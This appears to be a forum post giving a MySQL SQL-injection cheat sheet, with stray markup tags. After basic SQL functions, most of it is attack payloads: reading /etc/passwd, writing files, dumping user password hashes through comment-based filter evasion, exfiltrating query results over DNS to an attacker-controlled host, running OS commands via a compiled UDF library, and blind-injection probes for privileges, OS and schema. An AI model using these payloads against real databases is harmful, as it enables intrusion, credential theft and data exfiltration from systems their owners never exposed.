Quote:SELECT
SELECT @@version
SELECT @@version_comment
SELECT @@version_compile_machine
SELECT @@version_compile_os


Directories:
Quote:SELECT @@basedir
SELECT @@tmpdir
SELECT @@datadir

Concatenation:
Quote:SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Returns: Hello MySQL and hello world!


Multi-Concat:
Quote:#Stacks the row "foo" from the table "bar" together, using the separator "<br />"

[color=#00BFFF]#Note: This operation can by default only grab 1024 bytes, and do not allow LIMIT.


#The 1024 byte limit is stored in the @@group_concat_max_len variable.
SELECT GROUP_CONCAT(foo SEPARATOR '<br />') FROM bar


Better-Concat:
Quote:#CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROUP_CONCAT().

#Which therefor allows you to concat strings together up to the @@max_allowed_packet size,

#instead of @@group_concat_max_len. The default value for
@@max_allowed_packet is currently set to

#1048576 bytes, instead of @@group_concat_max_len's 1024.

Change Collation:
Quote:SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from any other collation.
SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.

Wildcards in SELECT(s):
Quote:SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) starting with "test".
SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) ending with "test".


Regular Expression in SELECT(s):
Quote:#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'
SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar


Counting Columns:
Quote:SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from the table "bar".

SELECT A Certain Row:
Quote:SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
...
SELECT foo FROM bar LIMIT N,1; #Returns row N.


Benchmark (Heavy Query):
Quote:#Performs an MD5 calculation of "1" for 10000 times.
SELECT BENCHMARK(10000,MD5(1))

Sleep:
Quote:#Works only in MySQL 5 and above.
#Sleeps for 5 seconds, returns 0 on success.
SELECT SLEEP(5)


Conversion (Casting):
Quote:SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
SELECT CAST('65' AS CHAR); #Returns: A

Substring:
Quote:SELECT SUBSTR('foobar',1,3); #Returns: foo

Hexadecimal Evasion:

SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);
#Returns 1 if the database is running MySQL 4.
SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);

Read File(s):
Quote:#Requires you to have the File_priv in mysql.user. On error this statement will return NULL.
SELECT LOAD_FILE('/etc/passwd')

#You must use quotes on the filename!
SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hello World')[/quote]


Logical Operator(s):
Quote:AND, &&; #The AND operator have && as an alternative syntax.
OR, ||; #The OR operator have || as an alternative syntax.
NOT, !; #The NOT operator have ! as an alternative syntax.
XOR; #The XOR operator got no alternative syntax.


Fuzzy Code Comment:
Quote:#Code within /*! are getting executed by MySQL. Additional /*! can be used instead of space as evasion.
SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/


Comments:
Quote:SELECT foo, bar FROM foo.bar-- Single line comment
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar# Single line comment
SELECT foo, bar FROM foo.bar; Batched query with additional NULL-byte. It do not work together with PHP though.


A few evasions/methods to use between your MySQL statements:
Quote:CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Fuzzy Comment (/*!); #Be sure to end your query with (*/)
Parenthesis, ( and ); #Can also be used as separators when used right.


Parenthesis instead of space:
Quote:#As said two lines above, the use of parenthesis can be used as a separator.
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))

Auto-Casting to Right Collation:
SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s) to the current collation.[/quote]


]DNS Requests (OOB (Out-Of-Band)):
Quote:#For more information check this.
SELECT YourQuery INTO OUTFILE ***8216;\\\\www.your.host.com\\?file_to_save_as.txt***8217;


Command Execution:
Quote: #If you're on a MySQL 4.X server, it's possible to execute OS commands as long as you're DBA.
#It can be done if you're able to upload a shared object into /usr/lib.
#The file extension is .so, and it must contain an "User Defined Function", UDF.
#Get raptor_udf.c, it's the source-code for just that feature.
#Remember to compile it for the right CPU Architecture.


The CPU architecture can be resolved by this query:
Quote:
SELECT @@version_machine;
A couple of useful blind queries to fingerprint the database.
All of these return either True or False, as in, you either get a result or you don't.


Version:

Quote:SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53; #MySQL 5
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52; #MySQL 4

Running as root:
Quote:SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=UNHEX(HEX(0x726F6F74)),1,0)=1

Got File_priv:
Quote: SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user WHERE
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(USER(),CHAR(64))),CHA R(37)))
LIMIT 0,1)=CHAR(89),1,0)=1

Got Super_priv (Are we DBA):
Quote:SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql.user WHERE
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(USER(),CHAR(64))),CHA R(37)))
LIMIT 0,1)=CHAR(89),1,0)=1


Can MySQL Sleep:
Quote:#This query will return True and should take above 1 second to execute.If it's a success.
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1


Can MySQL Benchmark:
Quote:SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1

Are we on *NIX:
Quote:SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47

Are we on Windows:
Quote:SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=58,1,0)=1


Do a certain column exist:
Quote:SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE column_name LIKE 'your_column' LIMIT 0,1)>0

Do a certain table exist:
Quote: SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM information_schema.columns WHERE table_name LIKE 'your_table' LIMIT 0,1)>0
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_name LIKE 'your_table' LIMIT 0,1)>0


Do a certain database exist:
Quote: SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM information_schema.columns WHERE table_schema LIKE 'your_database' LIMIT 0,1)>0
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM information_schema.tables WHERE table_schema LIKE 'your_database' LIMIT 0,1)>0
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information_schema.schemata WHERE schema_name LIKE 'your_database' LIMIT 0,1)>0
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db WHERE db LIKE 'your_database' LIMIT 0,1)>0
